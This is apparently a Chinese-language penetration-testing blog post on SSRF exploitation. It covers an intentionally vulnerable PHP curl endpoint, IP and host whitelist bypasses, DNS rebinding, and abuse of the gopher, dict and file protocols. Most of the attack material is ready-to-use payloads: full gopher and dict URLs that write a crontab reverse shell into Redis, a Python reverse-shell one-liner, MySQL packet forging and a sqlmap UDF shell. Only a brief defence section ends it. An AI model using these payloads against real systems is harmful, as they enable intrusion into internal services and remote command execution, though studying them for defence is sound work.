先上一张老图:3
环境
kali 设置 nginx + php
# /etc/nginx/sites-enabled/default location ~ \.php$ { include snippets/fastcgi-php.conf; # With php-fpm (or other unix sockets): fastcgi_pass unix:/run/php/php7.3-fpm.sock; # With php-cgi (or other tcp sockets): # fastcgi_pass 127.0.0.1:9000; }
添加 ssrf 文件
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); # curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); # curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); # $output = curl_exec($ch); curl_close($ch); ?>
0x00 验证方法
http://baidu.com/?url=<ssrf>
- F12 查看 network 是否由服务端发起请求
- 利用 Dnslog 等记录查看请求来源
- 修改访问端口查看返回内容
- 盲打 SSRF (gopher)注意不加 quit 返回时间
0x01 常见攻击方式
- RCE
- gopher:// 配合 TCP 流打 payload
- http:// 打 RCE,包括不限于 struts2
- file://读文件、phar://协议反序列化、gopher:// & tcp 读应用内数据、请求(如:邮件伪造)
- 探测内网IP、Port、Service
- 内网代理
0x02 常用工具
- SSRFmap:https://github.com/swisskyrepo/SSRFmap
- Gopherus:https://github.com/tarunkant/Gopherus
- SSRF_Proxy:https://github.com/bcoles/ssrf_proxy
盲打
quit
:发送时候不携带 quit 则会一直保持连接,所以分两次执行简单命令,看携带、不携带 quit 时间差异是不是很明显- 命令执行:配合比如 dnslog 或者其他记录
0x03 常见绕过姿势
主要聚焦在 IP、Host 白名单绕过
i. IP 格式
192.168.0.1
- 8进制格式:0300.0250.0.1
- 16进制格式:0xC0.0xA8.0.1
- 10进制整数格式:3232235521
- 16进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
- http://0/
- http://127.1/
- 利用ipv6绕过,http://[::1]/
- http://127.0.0.1./
ii. 不一致性
- 主要体现在 URI 语法的解读上
http://www.qq.com.sari3l.com
http://[email protected]
http://sari3l.com#www.qq.com
...
iii. 特殊字符
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
iv. 302 Redirect
127.0.0.1.xip.io -> 127.0.0.1
www.127.0.0.1.xip.io -> 127.0.0.1
v. DNS Rebinding
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等
我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
0x04 常用协议
Gopher://
查了很多资料,Gopher 的详细解析基本已经消失了,只留下 RFC 文件 以及 wiki 有比较详细的说明
但实际用起来感觉对<gopher-path>
的解析存在疑问
Url Syntax
目前网上大致都是如下 URL 格式:
URL:gopher://<host>:<port>/_payload
需要注意的点:
- 将
\r
字符串替换成%0d%0a
空白行
替换为%0a
空格
替换成%20
- urlencode(视情况)
然而在实际测试中,基本如下:
URL:gopher://<host>:<port>/<single-char><tcp-stream>
- single-char:任意单个字符
- tcp-stream:tcp 流数据
需要注意的点:
- 将
\r\n
字符串替换成%0d%0a
(注:\n
不可见) 空白行
替换为%0a
空格
替换成%09
或%20
- 最后的
quit
可以不用跟换行 get
、set
命令允许将\r\n
替换为%0a
- 如果直接打 gopher 协议,还需将
$
编码为%24
Tcp Stream
为什么在<single-char>
后能填充 payload?
相关内容并没有在网上直接看到,但是通过 wireshark 抓包可以看到这部分在数据包中位置是 Tcp payload
跟一下 tcp 流
通过这一点,就可以拿来配合各种常见应用操作对应的 tcp 数据流进行攻击了
HTTP Method
各种 method 利用方式基本一致,下面以 POST 为例
> curl -v "gopher://127.0.0.1:8080/^POST / HTTP/1.1%0d%0a"
和直接发送 HTTP 数据包不同,Gopher 下请求 POST ,可以看到会在三次握手后发送一个 PSH 标志,表明缓冲区内有数据需要发送,可以在流量中看到,在得到服务端响应后构造 HTTP 数据包再发送
Dict://
RFC:https://tools.ietf.org/html/rfc2229
Url Syntax
在不需要认证的情况下,可以直接使用以下命令
URL:dict://<host>:<port>/<command>:<data1>:<data2>[:<dataN>]
简单的说,就是只能执行一条(行)命令
注意到下图中为什么还返回了一个+OK
?
实际上是 dict 自己在末尾加了%0d%0aQUIT%0d%0a
退出命令
File://
读文件
Url:file://<path>
Url:file://<host>/<path> # 不能加端口
HTTP(s)://
需要有 crlf 漏洞解析%0d%0a
,但同时注意会因为多余的内容(headers)产生报错
很少碰到案例,放一张老图
Tftp://
主要用来发送 UDP 包,与 gopher 类似,可以用来向UDP服务发起请求,比如 Memcache 和 REDIS-UDP
通过设置timeout=1
可快速断开连接并防止重发
其他协议
- sftp://:CVE-2015-1782:在
libssh2 1.4.3
及之前版本的kex_agree_methods
函数存在安全漏洞 - ldap://、ldaps://、ldapi://:ldapi 在高级版本 curl 不予支持,其余两者暂未知如何利用
- imap/imaps/pop3/pop3s/smtp/smtps:破邮件用户名密码
0x05 攻击应用
Redis
※ Redis Protocol specification
常见的 Redis 未授权访问有三种方式
- crontab:计划任务反弹 shell
- ssh:写公钥登录
- webshell:需要绝对路径
auth 认证
如果开启密码认证,如下设置密码123456
# /etc/redis/redis.conf
requirepass 123456
对应在redis-cli
中需要添加-a
参数进行 auth 认证
> redis-cli -h <host> -p <port> -a <password> <command>
socat 观察可以看到会先进行 auth 认证再执行命令
在官方文档中提到Redis是Request-Response model
大致意思是说Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复,并在最后统一回复
所以在攻击 payload 前添加一段认证语句即可
gopher://127.0.0.1:6379/^*2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0d%0a<gopher payload>
例如执行get cc
可以利用这点进弱口令爆破
- 有回显:错误密码回显
ERR invalid password
- 无回显:需要配合生成文件、计划命令执行等操作进行验证
crontab
# $1 -> <ip>
# $2 -> <port>
> redis-cli -h $1 -p $2 flushall
> echo -e "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'\n\n"|redis-cli -h $1 -p $2 -x set 1
> redis-cli -h $1 -p $2 config set dir /var/spool/cron/crontabs/
> redis-cli -h $1 -p $2 config set dbfilename root
> redis-cli -h $1 -p $2 save
> redis-cli -h $1 -p $2 quit
之所以将计划任务通过管道符 |
配合 -x
填入,是因为 redis-cli set 的话\n
会被转义成\\n
导致在计划任务中无法执行
cron | |
---|---|
| with -x |
|
set |
Attack with Gopher://
首先利用 socat 获取 tcp 流量
> socat -v tcp-listen:6373,fork tcp-connect:localhost:6379
流比较长,将请求部分按照 gopher 那节进行转换
转换出的 gopher Url,记得末尾加个quit
gopher://127.0.0.1:6379/^*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0ac%0d%0a%2472%0d%0a%0a%0a*/1 * * * * /bin/bash/ -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'%0a%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2425%0d%0a/var/spool/cron/crontabs/%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0aquit
执行攻击结果
Attack with Dict://
这个就简单的多,一条一条请求,脚本化比较好,避免中间有其他人插入数据
可以注意到,dict 会同时发送客户端版本,不过不构成命令所以无影响
注意:经测试,在 dict 中 '
内不能跟 bash 而只能写 sh,否则会乱码,暂时未找到解决方法
注意:因为这里set c <value>
是直接 tcp 流过去的,与redis-cli
中不同,所以可以直接执行 set 命令,有兴趣可以自己跟下流量
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:c:"\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/9999 0>&1'\n\n"
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/crontabs/
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/save
使用 curl 携带 payload 如下
> curl -v "dict://127.0.0.1:6379/set:c:\"\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/9999 0>&1'\n\n\""
同理 payload 作为参数时,还需要 urlencode 一次
crontab 注意事项
Centos定时任务在 /var/spool/cron/root
Ubuntu定时任务在 /var/spool/cron/crontabs/root
Debian的系统日志里面没有crontab这一项,可以手动开启,方便检查
> vim /etc/rsyslog.conf
cron.* /var/log/cron.log # 取消注释
> /etc/init.d/rsyslog restart
另外,redis 会将文件权限改为644
,debian 下不能执行,ubuntu 也不行
错误日志如下
以下实在不想测试了,直接摘文章
写入/etc/crontab的时候,由于存在乱码,所以会导致ubuntu不能正确识别,导致定时任务失败。
- 如果写
/etc/crontab
,由于存在乱码,语法不识别,会导致ubuntu不能正确识别,导致定时任务失败。 - 如果写
/var/spool/cron/crontabs/root
,权限是644,ubuntu不能运行。
所以ubuntu下使用redis写crontab是无法成功反弹shell的
如果只能写文件,想写crontab反弹shell,对于CentOS系来说:
- 写/etc/crontab文件
- 使用python反弹shell脚本
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
FastCGI
直接上文章,懒得搭环境了
https://www.angelwhu.com/blog/?p=427
Mysql
MySQL 通信协议
MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:
- Unix套接字;
- 内存共享/命名管道;
- TCP/IP套接字;
在Linux或者Unix环境下,当我们输入mysql –u root –p root
(注意没有-h
)登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用
在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式
TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –p root
时就是使用的TCP/IP套接字
MySQL 认证过程
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包
数据包格式暂时不用太过了解,直接使用程序伪造即可
构造数据包
可以本地使用套接字登录,wireshark、tcpdump 获取 Mysql 数据包
最好是完整的数据包,包括连接
、认证
、命令执行
、退出
四个步骤,其中退出
数据包可以直接使用\r\n
代替
简单测试,创建一个 nopass 用户并授予全部权限
> CREATE USER 'nopass'@'localhost';
> GRANT USAGE ON *.* TO 'nopass'@'localhost';
> GRANT ALL ON *.* TO 'nopass'@'localhost';
然后登录并查询一下用户,将 tcp 流获取下来(这里没有执行退出,所以最后要加\r\n
)
利用 Python 转换成 urlencode
tc = "<tcp_stream_hex>"
a = [tc[i:i+2] for i in range(0, len(tc), 2)]
print '%'.join(a)
最后利用 gopher:// 打一下,OK
Udf 反弹 shell
环境有点麻烦,暂时直接上文章
简单的话,本地利用 sqlmap 抓一下tcp流量直接打过去
> sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell
需要注意:
plugin_dir
:路径需要和目标匹配- so 兼容性:sqlmap 自带的有时会出现一些问题
其它
只要是基于Tcp Stream
且无交互的点,都可以直接进行攻击
Udp
可基于tftp://
但尚未测试
0x06 防御
限制协议为HTTP、HTTPS
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
禁止30x跳转
删掉或注释 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
设置白名单或限制内网ip
设置 DNS 缓存,在访问前进行对比